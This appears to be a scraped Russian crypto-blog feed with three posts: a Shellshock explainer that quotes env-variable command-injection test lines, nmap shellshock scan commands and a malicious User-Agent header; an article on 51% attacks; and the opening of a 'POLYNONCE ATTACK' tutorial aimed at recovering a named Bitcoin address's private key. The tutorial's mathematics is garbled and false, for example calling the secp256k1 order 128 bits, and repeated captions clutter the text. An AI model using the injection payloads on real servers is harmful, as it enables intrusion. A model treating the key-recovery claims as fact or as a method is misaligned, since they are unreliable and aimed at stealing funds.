Изначальная ошибка была обнаружена Стефаном Шазеля  (фр. Stéphane Chazelas) 12 сентября 2014 года, который предложил назвать её «bashdoor» (созвучно backdoor). Уязвимость получила в базе MITRE номер CVE-2014-6271 и оставалась неопубликованной (находилась под эмбарго) до 14 часов по UTC 24 сентября. Цель вышеуказанного ограничения заключалась в том, что авторы программы, создатели дистрибутивов и иные заинтересованные организации получили время принять необходимые меры.

Анализ исходного кода Bash свидетельствует, что уязвимость была заложена в код приблизительно в версии 1.13 в 1992 году или ранее и с тех пор оставалась необнаруженной среди общей публики и незадекларированной. Группа авторов Bash затрудняется в определении точного времени внедрения ошибки из-за недостаточно подробной истории изменений (changelog).

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant

25 сентября 2014 года на базе уязвимости уже были созданы ботнеты для проведения DoS- и DDoS-атак, а также для сканирования уязвимостей. Предполагается, что уязвимы миллионы систем. Ошибка получила максимальную оценку по шкале опасности и сравнивается по значению с Heartbleed — ошибкой в OpenSSL (апрель 2014)

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост
ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Уязвимость Shellshock (bashdoor) относится к программе bash (разрабатывается в рамках проекта GNU), используемой во множестве Unix-подобных операционных систем и дистрибутивов в качестве интерпретатора командной строки и для исполнения командных скриптов. Часто устанавливается в качестве системного интерпретатора по умолчанию.

В Unix-подобных и других поддерживаемых bash операционных системах каждая программа имеет список пар имя-значение, называемый переменными среды (англ. environment variable). Когда одна программа запускает другую, то также передается изначальный список переменных среды. Кроме переменных среды, bash также поддерживает внутренний список функций — именованных скриптов, которые могут вызываться из исполняемого скрипта bash. При запуске новых экземпляров bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс. Определения функций экспортируются путём кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок (), за которыми следует определение функции в виде строки. Новые экземпляры bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции. Данное преобразование проводится путём создания фрагмента bash-кода на базе значения переменной среды и его исполнения, то есть «на лету» (англ. on-the-fly). Подверженные уязвимости версии bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции. Таким образом, если злоумышленник имеет возможность подать произвольную переменную среды в запуск bash, то появляется возможность исполнения произвольных команд.

27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс при их преобразовании в переменные окружения и обратно[15].

В тот же день, когда была опубликована информация об оригинальной уязвимости и патчи, исправляющие её, Tavis Ormandy обнаружил новую родственную ошибку CVE-2014-7169. Обновлённые исправления стали доступны 26 сентября.

Во время работы над исправлением оригинальной ошибки Shellshock, исследователь компании Red Hat, Florian Weimer обнаружил ещё две ошибки: CVE-2014-7186 и CVE-2014-7187.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

26 сентября 2014 два разработчика open-source, David A. Wheeler и Norihiro Tanaka заметили, что существуют дополнительные проблемы, всё ещё не исправленные патчами, доступными на тот момент. В своём электронном письме в почтовые списки рассылок «oss-sec» и «bash bug» Wheeler писал:

Этот патч лишь продолжает работы типа «прибей крота» (whac-a-mole) по исправлению различных ошибок разбора, начатый первым патчем. Парсер bash конечно же содержит много много много других уязвимостей.

27 сентября 2014, Michal Zalewski анонсировал, что обнаружил несколько других ошибок в bash, одна из которых использует то, что bash часто компилируется без использования техники защиты ASLR (Address Space Layout Randomization). Zalewski также призвал срочно применить патч от Florian Weimer.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Рандомизация адресного пространства препятствует некоторым типам атак на безопасность, усложняя злоумышленнику предсказание целевых адресов. Например, злоумышленники, пытающиеся выполнить атаку с возвратом в библиотеку[Return-to-libc_attack], должны найти код, который будет выполнен, в то время как другие злоумышленники, пытающиеся выполнить Shellcode, внедренный в стек, должны сначала найти стек. В обоих случаях система скрывает от злоумышленников соответствующие адреса памяти. Эти значения необходимо угадать, а ошибочное предположение обычно невозможно исправить из-за сбоя приложения.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Рандомизация макета адресного пространства основана на низкой вероятности того, что злоумышленник угадает расположение случайно расположенных областей. Безопасность повышается за счет увеличения пространства поиска. Таким образом, рандомизация адресного пространства более эффективна, когда в случайных смещениях присутствует большая энтропия . Энтропия увеличивается либо за счет увеличения объема области виртуальной памяти , в которой происходит рандомизация, либо за счет уменьшения периода, в течение которого происходит рандомизация. Период обычно реализуется как можно меньшим, поэтому большинство систем должны увеличить рандомизацию пространства VMA.

Чтобы обойти рандомизацию, злоумышленники должны успешно угадать позиции всех областей, которые они хотят атаковать. Для таких областей данных, как стек и куча, куда можно загрузить собственный код или полезные данные, можно атаковать более одного состояния с помощью слайдов NOP для кода или повторяющихся копий данных. Это позволяет атаке добиться успеха, если область рандомизирована по одному из нескольких значений. Напротив, такие области кода, как база библиотеки и основной исполняемый файл, должны быть точно обнаружены. Часто эти области смешиваются, например, в стек вставляются кадры стека , а в него возвращается библиотека.

Чтобы вычислить вероятность успеха злоумышленника, мы должны предположить, что количество попыток α было выполнено без прерывания сигнатурной IPS, правоохранительными органами или другим фактором; в случае брутфорса демон не может быть перезапущен. Нам также необходимо выяснить, сколько бит имеет значение и сколько подвергается атаке при каждой попытке, оставляя столько битов, которые атакующий должен победить.

Следующие формулы представляют вероятность успеха для данного набора α -попыток на N битах энтропии.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Во многих системах{\displaystyle 2^{N}}могут исчисляться тысячами или миллионами; в современных 64-битных системах эти числа обычно достигают как минимум миллионов, Hector Marco-Gisbert and Ismael Ripoll показали в 2014 году, как обойти ASLR в 64-битных системах менее чем за одну секунду при определенных обстоятельствах. 

On the Effectiveness of Full-ASLR on 64-bit Linux

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Для 32-битных систем на компьютерных скоростях 2004 года, которые имеют 16 бит для рандомизации адресов, Шачам и его коллеги утверждают, что «… 16 бит рандомизации адресов можно преодолеть с помощью грубой атаки Brute-force attack за считанные минуты».

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Заявление авторов зависит от возможности атаковать одно и то же приложение несколько раз без каких-либо задержек. Правильные реализации ASLR, например, включенные в grsecurity, предоставляют несколько способов сделать такие атаки методом перебора невозможными. Один из методов предполагает предотвращение выполнения исполняемого файла в течение настраиваемого периода времени, если он произошел сбой определенное количество раз.

Android,  и, возможно, другие системы, реализовать рандомизацию порядка загрузки библиотек — форму ASLR, которая рандомизирует порядок загрузки библиотек. Это обеспечивает очень небольшую энтропию. Ниже приведено приблизительное количество бит энтропии, предоставленной для каждой необходимой библиотеки; это еще не учитывает различные размеры библиотек, поэтому фактическая полученная энтропия действительно несколько выше. Обратите внимание, что злоумышленникам обычно нужна только одна библиотека; математика более сложна с несколькими библиотеками и также показана ниже.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Обратите внимание, что случай, когда злоумышленник использует только одну библиотеку, представляет собой упрощение более сложной формулы:

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Эти значения имеют тенденцию быть низкими даже для больших значений l , что наиболее важно, поскольку злоумышленники обычно могут использовать только стандартную библиотеку C , и поэтому часто можно предположить, что{\displaystyle \beta \,=1}. Однако даже для небольшого количества библиотек здесь можно получить некоторый выигрыш в энтропии; Таким образом, потенциально интересно объединить рандомизацию порядка загрузки библиотеки со рандомизацией адресов VMA, чтобы получить несколько дополнительных бит энтропии. Обратите внимание, что эти дополнительные биты энтропии не будут применяться к другим сегментам mmap(), а только к библиотекам.

Уменьшение энтропии:

Список уязвимостей:

CVE-2014-6271

Оригинальный bashdoor: переменная окружения специального вида состоит из определения экспортируемой функции, за которым следуют произвольные команды. Bash уязвимых версий исполняет эти произвольные команды во время своего запуска. Пример ошибки:env x='() { :;}; echo Уязвим’ bash -c “echo Тестовая печать”

В уязвимых системах этот тест напечатает фразу «Уязвим», выполнив команду из переменной окружения x.

CVE-2014-6277

На 29 сентября детали уязвимости публично не раскрывались.

CVE-2014-6278

На 29 сентября детали уязвимости публично не раскрывались.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

CVE-2014-7169

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Обнаружено Tavis Ormandy во время работы над CVE-2014-6271:

env X='() { (a)=>\' sh -c "echo date"; cat echo

Тест приводит к тому, что «echo» становится именем файла для перенаправления вывода, а «date» исполняется. Ошибка получила номер CVE-2014-7169.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

Пример ошибки 7169 на системе, получившей исправление ошибки CVE-2014-6271 но не ошибки CVE-2014-7169:[32]$ X='() { (a)=>\’ bash -c “echo date” bash: X: line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014

Исправление обеих ошибок CVE-2014-6271 и CVE-2014-7169 приведет к неработоспособности теста:$ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост
ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

CVE-2014-7186

Ошибка вызвана сходными проблемами в коде Bash однако воздействует с помощью многократного повторения “<<EOF”Тестbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Уязвим по CVE-2014-7186, redir_stack” Уязвимая система отобразит текст “Уязвим по CVE-2014-7186, redir_stack”.

CVE-2014-7187

Ошибка вызвана сходными проблемами в коде Bash, однако воздействует с помощью множественных повторений «done»Тест(for x in {1..200} ; do echo “for x$x in ; do :”; done; for x in {1..200} ; do echo done ; done) | bash || echo “Уязвим по CVE-2014-7187, word_lineno” Уязвимая система отобразит текст «Уязвим по CVE-2014-7187, word_lineno».

-----

------

Насколько широко эксплуатируется данная уязвимость?

На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами.

Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов. Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов. Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак.

Как проверить, есть ли уязвимость в моей системе/вебсайте?

Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду:

1“env x='() { :;}; echo vulnerable’ bash  -c “echo this is a test”

Если оболочка возвращает строку «vulnerable», систему нужно обновить.

Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер.

Как решить проблему?

В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки.

Если вы используете любую систему обнаружения и/или предотвращения вторжений, также рекомендуется добавить/загрузить сигнатуру для данной угрозы. Опубликовано множество публичных правил.

Наконец, проверьте конфигурацию вашего веб-сервера. Если имеются неиспользуемые CGI-скрипты, рассмотрите возможность их отключения.

Есть ли угроза для онлайн-банкинга?

Эксплуатация данной уязвимости широко применяется по отношению к серверам, размещенным в интернете. Уязвимы даже некоторые рабочие станции, работающие на Linux и OSX, однако киберпреступникам для проведения атаки необходимо найти вектор атаки, позволяющий удаленно использовать уязвимость на конкретной рабочей станции.

Данная угроза нацелена не на индивидуальных пользователей, а на серверы, размещенные в интернете. Это означает, что если, например, уязвим ваш любимый сайт электронной коммерции или онлайн-банкинга, то злоумышленники теоретически могут взломать сервер и получить доступ к вашим персональным данным, в том числе, возможно, и к банковской информации.

Пока сложно сказать определенно, какие платформы могут быть уязвимы и стать мишенью для атаки, но я бы рекомендовал не проводить платежи по кредитной карте и не делиться конфиденциальной информацией в сети в ближайшую пару дней, пока вирусные аналитики не прояснят ситуацию.

Как я могу определить, что стал мишенью для атаки с использованием этой уязвимости?

Мы рекомендуем просмотреть ваши HTTP-журналы и проверить, нет ли в них записей о подозрительной активности, например такой:

Существуют также некоторые патчи для среды bash, которые протоколируют каждую команду, передаваемую bash-интерпретатору, что позволяет проследить, не был ли ваш компьютер атакован. Они не защитят вас от атаки, использующей данную уязвимость, но отразят в журнале действия атакующей стороны в вашей системе.

Насколько серьезна данная угроза?

Угроза действительно серьезна, но не каждая система является уязвимой. Так, для успешной атаки на веб-сервер требуется выполнение ряда условий. Одной из самих больших проблем сейчас является то, что после публикации патчей исследователи начинают искать другие способы эксплуатации среды bash, анализировать различные условия, делающие эксплуатацию возможной, и т.п. В связи с этим патч, защищающий от удаленного выполнения кода, никак не сможет предотвратить, например, перезапись файла. По всей видимости, в будущем будет опубликован целый ряд патчей, а до тех пор системы будут оставаться уязвимыми.

Это новый Heartbleed?

По сравнению с Heartbleed эту уязвимость гораздо легче эксплуатировать. Кроме того, в случае Heartbleed киберпреступник мог только похитить данные из памяти в надежде на то, что среди них встретится что-нибудь стоящее, в то время как уязвимость bash делает возможным полный контроль над системой. Такие образом, она представляется намного более опасной, чем Heartbleed.

Может ли эта уязвимость в будущем быть использована для проведения APT-атак?

Конечно, в будущем эта уязвимость может быть использована для разработки вредоносных программ. Могут появиться вредоносные программы, автоматически проверяющие атакуемую инфраструктуру на наличие данной уязвимости, с целью дальнейшего заражения системы или проведения других видов атак.

Эта уязвимость связана с функцией «экспорта функций» bash . Команда экспорта используется для экспорта переменной или функции в среду всех дочерних процессов, работающих в текущей оболочке. Эта функция «экспорта функций» реализуется путем кодирования сценариев в таблице, которая является общей для всех экземпляров и называется списком переменных среды.

Хотя Bash не является службой, подключенной к Интернету, многие сетевые и интернет-службы используют переменные среды для связи с ОС сервера. Если эти переменные среды не очищаются перед выполнением, злоумышленник может отправлять команды через HTTP-запросы и выполнять их операционной системой сервера.

Векторы эксплуатации:

  1. Веб-сервер на основе CGI

  2. OpenSSH-сервер

  3. DHCP-клиенты

  4. Qmail-сервер

  5. Ограниченная оболочка IBM HMC

  6. Веб-сервер на основе CGI:

CGI означает «Общий интерфейс шлюза» и используется для обработки запросов документов. Когда определенный объем информации копируется из запроса в список переменных среды и если этот запрос делегируется программой-обработчиком, которая представляет собой сценарий bash, тогда bash получит переменные среды, переданные сервером, и обработает их. Это дает злоумышленнику возможность активировать уязвимость Shellshock с помощью специально созданного запроса документа.

Nmap : You can use this two commands to find whether the target website is vulnerable to Shellshock or not. nmap -sV -p- --script http-shellshock <target> nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

CGI использует bash в качестве обработчика запросов по умолчанию, и эта атака не требует какой-либо аутентификации, поэтому большая часть атак происходит на страницах CGI с целью использования этой уязвимости. CGI-скрипты могут быть чрезвычайно опасны, если их тщательно не проверять.

PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-shellshock: | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-6271 | This web application might be affected by the vulnerability known as Shellshock. It seems the server | is executing commands injected via malicious HTTP headers. | | Disclosure date: 2014-09-24 | References: | http://www.openwall.com/lists/oss-security/2014/09/24/10 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 | http://seclists.org/oss-sec/2014/q3/685 |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

2. Сервер OpenSSH:

OpenSSH также известен как OpenBSD Secure Shell. Это набор безопасных сетевых утилит, основанных на протоколе SSH, который обеспечивает безопасный канал через незащищенную сеть в архитектуре клиент-сервер.

OpenSSH имеет функцию «ForceCommand» , при которой при входе пользователя в систему выполняется фиксированная команда, а не просто запуск неограниченной командной оболочки. Фиксированная команда выполняется, даже если пользователь указал, что должна быть запущена другая команда; в этом случае исходная команда помещается в переменную среды «SSH_ORIGINAL_COMMAND» . Когда принудительная команда запускается в оболочке Bash, оболочка Bash анализирует переменную среды SSH_ORIGINAL_COMMAND при запуске и запускает встроенные в нее команды. Пользователь использовал свой ограниченный доступ к оболочке, чтобы получить неограниченный доступ к оболочке, используя ошибку Shellshock.

3. DHCP-клиенты:

DHCP означает протокол динамической конфигурации хоста. Это протокол управления сетью, используемый в сетях Интернет-протокола, при котором DHCP-сервер динамически назначает IP-адрес и другие параметры конфигурации сети каждому устройству в сети, чтобы они могли взаимодействовать с другими IP-сетями.

Некоторые клиенты DHCP также могут передавать команды Bash; уязвимая система может быть атакована при подключении к открытой сети Wi-Fi. Клиент DHCP обычно запрашивает и получает IP-адрес от сервера DHCP, но ему также может быть предоставлен ряд дополнительных опций. В одном из этих вариантов вредоносный DHCP-сервер может предоставить строку, предназначенную для выполнения кода на уязвимой рабочей станции или ноутбуке.

4. Сервер Qmail:

Qmail — это агент передачи почты, работающий в Unix. Он был написан в декабре 1995 года Дэниелом Дж. Бернштейном как более безопасная замена популярной программы Sendmail.

При использовании Bash для обработки сообщений электронной почты (например, через канал .forward или qmail-alias) почтовый сервер qmail передает внешние входные данные таким образом, что можно использовать уязвимую версию Bash.

Checking for CGI scripts

5. Ограниченная оболочка IBM HMC:

Ограниченная оболочка — это оболочка Unix, которая ограничивает некоторые возможности, доступные интерактивному сеансу пользователя или сценарию оболочки, выполняющемуся в ней. Он предназначен для обеспечения дополнительного уровня безопасности, но его недостаточно для запуска полностью ненадежного программного обеспечения.

Эту ошибку можно использовать для получения доступа к Bash из ограниченной оболочки IBM Hardware Management Console , крошечного варианта Linux для системных администраторов. IBM выпустила исправление для решения этой проблемы.

Векторы атаки Shellshock?

Когда вы отправляете запрос и когда этот запрос получен сервером, есть три части запроса, которые могут быть уязвимы для атаки Shellshock.

  1. Запрошенный URL

  2. Заголовки в запросах (например, пользовательский агент, реферер и т. д.)

  3. Аргументы в запросах (например, имя, идентификатор и т. д.)

Уязвимость Shellshock обычно возникает, когда злоумышленник изменяет исходный HTTP-запрос, чтобы он содержал магический () { :; }; нить.

Предположим, злоумышленник изменил заголовок User-Agent с Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 на просто () { :; }; /bin/извлечь

Это создаст следующую переменную внутри веб-сервера: HTTP_USER_AGENT=() { :; }; /bin/извлечь

Теперь, если веб-сервер передает эту переменную в bash, возникает уязвимость Shellshock.

Вместо того, чтобы рассматривать переменную HTTP_USER_AGENT как последовательность символов, не имеющую особого значения, bash интерпретирует ее как команду, которую необходимо выполнить. Проблема в том, что HTTP_USER_AGENT исходит из заголовка User-Agent , который контролируется злоумышленником, поскольку он поступает на веб-сервер в HTTP-запросе.

Литература:

Исходный код

POLYNONCE ATTACK

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/fIYYi1kGEnc

Источник: https://cryptodeep.ru/shellshock-attack-on-bitcoin

Криптоанализ

Показать полностью 18

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN NFT, Криптовалюта, Биткоины, Доллары, Валюта, Видео, YouTube, Длиннопост

Исследование уязвимости, которая потрясает основу цифровых монет.

В динамичном мире криптовалют безопасность имеет первостепенное значение. Децентрализованный и прозрачный характер технологии блокчейн произвел революцию в том, как мы совершаем транзакции и взаимодействуем в цифровом формате. Однако, как и любая технологическая инновация, криптовалюты не застрахованы от уязвимостей. Среди множества угроз, которые нависают над крипто-ландшафтом, атака 51% выделяется как особенно коварный и потенциально разрушительный эксплойт. В этой статье мы углубимся в то, что влечет за собой атака 51%, ее последствия и меры по смягчению ее воздействия.

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN NFT, Криптовалюта, Биткоины, Доллары, Валюта, Видео, YouTube, Длиннопост

Понимание атаки 51%

В основе большинства криптовалют лежит децентрализованная сеть узлов, которые проверяют транзакции с помощью механизмов консенсуса, таких как Proof of Work (PoW) или Proof of Stake (PoS). Эти механизмы гарантируют легитимность и безопасность транзакций. Атака 51%, также известная как атака большинства, происходит, когда злоумышленник или группа захватывает более половины вычислительной мощности сети (в случае PoW) или поставленных токенов (в случае PoS). Этот контроль большинства дает им возможность манипулировать блокчейном в свою пользу.

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN NFT, Криптовалюта, Биткоины, Доллары, Валюта, Видео, YouTube, Длиннопост

Последствия атаки 51%

Последствия успешной атаки 51% могут быть глубокими и далеко идущими:

  1. Двойные расходы. Одним из наиболее тревожных результатов атаки 51% является возможность выполнения двойных расходов. Это означает, что злоумышленник может потратить одну и ту же криптовалюту несколько раз, подрывая фундаментальный принцип дефицита, который лежит в основе большинства криптовалют.

  2. Отмена транзакций. Благодаря мажоритарному контролю злоумышленник может отменить транзакции, по сути переписав историю блокчейна. Это может привести к хаосу и потере доверия к затронутой криптовалюте.

  3. Сетевой паралич: злоумышленник, обладающий мажоритарным контролем, может остановить транзакции и даже предотвратить добавление новых в блокчейн. Этот сбой может иметь серьезные экономические последствия и подорвать доверие инвесторов.

  4. Подрыв безопасности и доверия. Успешная атака 51% наносит ущерб восприятию безопасности и доверия к криптовалюте. Инвесторы и пользователи могут покинуть сеть, что приведет к значительному падению ее стоимости и распространенности.

Реальные примеры

Несколько криптовалют стали жертвами атак 51%, что подчеркивает серьезность этой угрозы:

  1. Bitcoin Gold (BTG): В мае 2018 года Bitcoin Gold подвергся атаке 51%, в результате которой были украдены BTG на миллионы долларов. Атака продемонстрировала уязвимость небольших криптовалют с меньшей мощностью хеширования.

  2. Ethereum Classic (ETC): Примечательно, что в 2020 году Ethereum Classic подвергся нескольким атакам 51%. Злоумышленники воспользовались более низкой скоростью хеширования сети и реорганизовали блокчейн, что привело к краже значительных объемов ETC.

  3. Verge (XVG): Verge стал жертвой атаки 51% в апреле 2018 года. Злоумышленники воспользовались несколькими уязвимостями для майнинга большого количества XVG и нарушения работы сети.

Смягчение и предотвращение

Хотя угроза атаки 51% сохраняется, криптосообщество предприняло шаги по смягчению ее последствий:

  1. Увеличение мощности хеширования. Криптовалюты могут повысить свою безопасность за счет увеличения вычислительной мощности, что делает приобретение контрольного пакета акций для злоумышленников непомерно дорогим.

  2. Расширенные механизмы консенсуса. Некоторые новые криптовалюты используют инновационные механизмы консенсуса, такие как делегированное доказательство доли (DPoS) и доказательство полномочий (PoA), чтобы снизить вероятность атак 51%.

  3. Мониторинг атак. Постоянный мониторинг сетевой активности позволяет обнаружить необычное поведение, указывающее на предстоящую атаку 51%. Это позволяет оперативно реагировать и принимать превентивные меры.

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN NFT, Криптовалюта, Биткоины, Доллары, Валюта, Видео, YouTube, Длиннопост

Что такое уязвимость блокчейна?

Уязвимость блокчейна относится ко всему, что может быть использовано хакером для эксплуатации протокола.

Одним из наиболее распространенных является риск централизации. Централизация часто создает единую точку отказа, которую хакеры могут использовать для получения доступа ко всей сети.

Уязвимости логических проблем требуют реструктуризации кода и могут относиться к ошибкам. Атаки с повторным входом — это хаки, использующие логические проблемы. Злоумышленник может обманом заставить смарт-контракт отправить уже отправленные средства.

Оптимизация газа важна по мере роста проектов. Газ, необходимый для проверки транзакций, может увеличиться настолько, что новые блоки больше не смогут быть проверены.

Результат оптимизации газа в ходе аудита безопасности CertiK определяет области, где количество газа можно уменьшить, не влияя на работу кода.

Уязвимости возникают во внешних конечных точках пересечения блокчейнов, известных как оракулы. Информация, передаваемая оракулами и их смарт-контрактами, может быть использована хакерами.

Межцепочные мосты возникли как жизненно важная инфраструктура, позволяющая пользователям перемещаться между блокчейнами. Уязвимости могут возникать из-за различий в правилах и организациях между цепочками.

Заключение

Атака 51% остается серьезной проблемой в сфере криптовалют, подчеркивая необходимость надежных мер безопасности и постоянной бдительности. Децентрализованная природа технологии блокчейна дала огромные преимущества, но она также требует постоянной адаптации к возникающим угрозам. Поскольку криптосообщество продолжает внедрять инновации и сотрудничать, цель состоит в том, чтобы защитить сети от потенциальных злоумышленников, обеспечивая постоянный рост и внедрение криптовалют в глобальном масштабе.

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://www.youtube.com/@cryptodeeptech

Source: https://cryptodeep.ru/blockchain-attack-vectors

Атака 51%: раскрытие уязвимости криптовалюты BITCOIN NFT, Криптовалюта, Биткоины, Доллары, Валюта, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 4 1

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

За практическую основу мы будем брать материалы из нашей ранней статьи Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney  LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.

Нам многое может открыть Binary number (4 digits): "1111" // Hex number: "F" //

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://www.rapidtables.com/convert/number/hex-to-binary.html

Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001

Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Speed up secp256k1 with endomorphism

Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //

За теоретическую основу мы будем брать материалы:

“Polynonce Attack on Bitcoin”

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://attacksafe.ru/polynonce-attack-on-bitcoin

Рассмотрим пример с Биткоин Адресом:

1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

RawTX

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Upload notebook”

Загрузим файл: POLYNONCE_ATTACK.ipynb

